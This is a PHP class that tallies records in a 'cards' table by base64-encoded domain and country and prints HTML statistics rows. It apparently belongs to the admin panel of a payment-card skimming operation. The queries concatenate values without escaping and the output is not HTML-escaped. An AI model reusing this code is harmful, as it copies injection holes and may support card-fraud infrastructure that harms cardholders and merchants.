<?php

class statistics{
	var $all;

	function __construct(){
		if($_SERVER['REQUEST_METHOD']=='GET'){
			$this->view();
		}else{
			//$this->edit();
		}
	}

	private function view(){
		$tr=$this->data(); $all=$this->all;
		$tr2=$this->table2($this->dataTable2());
		include('./inc/forms/statistics.php');
	}

	private function dataTable2(){
		global $connect;
		$MySQL=mysqli_query($connect,'SELECT country FROM cards GROUP BY country');
		$country=array();

		while($row=mysqli_fetch_assoc($MySQL)){
			//print_r($row['domain']);
            $num_domain=mysqli_query($connect,'SELECT COUNT(*) FROM cards WHERE country="'.$row['country'].'"');
            
            $num=mysqli_fetch_row($num_domain);
            $country[base64_decode($row['country'])]=$num[0];
        }

        arsort($country);

        return $country;
	}

	private function table2($country,$result=''){
		while(@$key=key($country)){
            $flag='./img/flags/'.strtolower($key).'.png';
            if(!is_file($flag)){ $flag='./img/unknown.jpeg'; }
            $result.='
									<tr>
										<td><img src="'.$flag.'" /> '.$key.'</td>
										<td>'.$country[$key].'</td>
										<td>'.$this->Percent($country[$key],$this->all).'%</td>
									</tr>
					';
            next($country);
        }

		return $result;
	}

	private function data(){
		global $connect;
		$all=mysqli_query($connect,'SELECT COUNT(*) FROM cards');
		$all=mysqli_fetch_row($all); $this->all=$all[0];

        $tr=$this->table($this->dataTable());

		return $tr;
	}

	private function dataTable(){
		global $connect;
		$MySQL=mysqli_query($connect,'SELECT domain FROM cards GROUP BY domain');
		$domains=array();

		while($row=mysqli_fetch_assoc($MySQL)){
			//print_r($row['domain']);
            $num_domain=mysqli_query($connect,'SELECT COUNT(*) FROM cards WHERE domain="'.$row['domain'].'"');
            
            $num=mysqli_fetch_row($num_domain);
            $domains[$row['domain']]=$num[0];
        }

        arsort($domains);

        return $domains;
	}

	private function table($domain,$result=''){
		while(@$key=key($domain)){
            $result.='
									<tr>
										<td>'.base64_decode($key).'</td>
										<td>'.$domain[$key].'</td>
										<td>'.$this->Percent($domain[$key],$this->all).'%</td>
									</tr>
					';
            next($domain);
        }

		return $result;
	}

	private function Percent($num,$sum){
        $result=(100*$num)/$sum;
        return round($result,2);
    }
}

?>